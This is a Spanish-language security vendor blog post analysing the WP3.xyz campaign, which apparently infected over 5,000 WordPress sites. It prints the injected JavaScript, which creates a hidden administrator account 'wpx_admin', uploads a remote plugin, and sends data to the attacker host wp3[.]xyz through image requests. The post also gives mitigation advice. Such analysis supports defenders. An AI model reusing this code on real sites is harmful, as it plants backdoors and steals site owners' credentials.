Skip to main content
Blog
Blog Attacks

Más de 5,000 sitios de WordPress atrapados en ataque de malware WP3[.]XYZ

Hemos descubierto una campaña de malware generalizada dirigida a sitios web de WordPress, que afecta a más de 5,000 sitios a nivel mundial. El dominio malicioso: \"https://wp3.xyz/plugin[.]php\".

Jan 13, 2025 3 min read
new-malware-attack-image-cover

Hemos descubierto una campaña de malware generalizada dirigida a sitios web de WordPress, que afecta a más de 5,000 sitios a nivel mundial.

El dominio malicioso: https://wp3[.]xyz/td.js.

Uno de nuestros usuarios fue afectado. cside detectó y detuvo el ataque.

Directorio de dominios de cside mostrando wp3.xyz marcado como malicioso
El rastreador de cside detectó el dominio malicioso

Aún no está claro cómo los scripts ingresaron a los sitios. Hasta ahora, no hemos identificado un denominador común, y nuestra investigación está en curso.

Sí sabemos que el script crea cuentas de administrador no autorizadas con un nombre de usuario y contraseña que se pueden encontrar en el código.

  • Nombre de usuario: wpx_admin
  • Contraseña: [REDACTADA]

Después de crear la cuenta, el script descarga un plugin malicioso de WordPress y lo activa en el sitio web ahora infectado, enviando datos sensibles a un servidor remoto.

Revisa tu sitio ahora para eliminar cualquier cuenta de administrador no autorizada y eliminar cualquier plugin o tema no utilizado.

Encuentra sitios web infectados a través de:

El script en detalle

Primero, el script obtiene el token CSRF necesario para la solicitud. Luego envía una solicitud POST para crear un usuario con credenciales codificadas. Registra el estado de la operación.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY CSIDE]');
    formData.append('pass2', '[REDACTED BY CSIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Después de que el script descarga el plugin obtenido de https://wp3[.]xyz/plugin.php, el script lo activa en el sitio infectado. El script se comunica con https://wp3[.]xyz/tdw1.php, enviando datos sensibles como credenciales de administrador y registros de operaciones a través de solicitudes de imagen ofuscadas.

function sendLog(data) {
    const logUrl = 'https://wp3[.]xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Una vez que el atacante tiene acceso de administrador, el script carga un plugin malicioso. Obtiene el plugin de un servidor remoto y lo carga en el sitio de WordPress.

La función installPlugin funciona de la siguiente manera:

  1. Obtiene la página de carga de plugins para recuperar el token CSRF.
  2. Descarga el archivo del plugin malicioso.
  3. Envía el archivo del plugin para su instalación.

Luego utiliza las siguientes técnicas:

  • Cargando el plugin a través de: /wp-admin/update[.]php?action=upload-plugin.
  • Obteniendo el plugin de una fuente externa: https://wp3[.]xyz.
async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

El script finalmente verifica si el plugin malicioso se instaló correctamente buscando referencias a https://wp3[.]xyz en el contenido del sitio web.

const finalCheck = await fetch(window.location.origin, {
    credentials: 'include',
    headers: { 'Accept': 'text/html' }
}).then(r => r.text());

if (finalCheck.includes('wp3[.]xyz')) {
    sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
    sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Protégete contra este ataque

  1. Bloquea el dominio https://wp3[.]xyz en firewalls o herramientas de seguridad.
  2. Audita las cuentas de administrador de WordPress en busca de usuarios no autorizados.
  3. Elimina plugins sospechosos y valida los existentes.
  4. Fortalece las protecciones CSRF e implementa autenticación multifactor (MFA).
  5. Considera usar cside

El usuario infectado ejecutaba la versión gratuita de cside. Puedes instalar cside para proteger tu sitio en minutos contra este y ataques similares.

cside actúa como proxy de todos los scripts para análisis en tiempo real, alertando y bloqueando los potencialmente maliciosos. Este script obtenido de https://wp3[.]xyz/tdw.js fue detectado y bloqueado exitosamente en el sitio web de nuestro usuario.

Por favor contáctanos si estás preocupado o deseas incorporarte a los niveles superiores.

Revisa tu sitio para todos los administradores, asegúrate de que sus contraseñas y 2FA estén configurados correctamente. Puedes usar nuestro rastreador público para verificar cualquier script potencialmente malicioso en tu sitio web.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Los sitios WordPress comprometidos cargaban un script desde wp3.xyz que creaba cuentas de administrador ocultas y exfiltraba credenciales. Más de 5.000 sitios estaban afectados en el momento del informe y muchos más seguían activos días después.

Busca referencias a wp3.xyz en el código del sitio, elimina usuarios admin desconocidos y rota todas las credenciales de WordPress. Un escáner del lado del cliente como cside también detecta intentos de inyección que los escaneos estáticos de plugins se pierden.

Monitoriza y Asegura tus Scripts de Terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comienza gratis, o prueba Business con una prueba de 14 días.

Interfaz del panel de cside mostrando monitorización de scripts y análisis de seguridad
Related Articles
Reservar una demo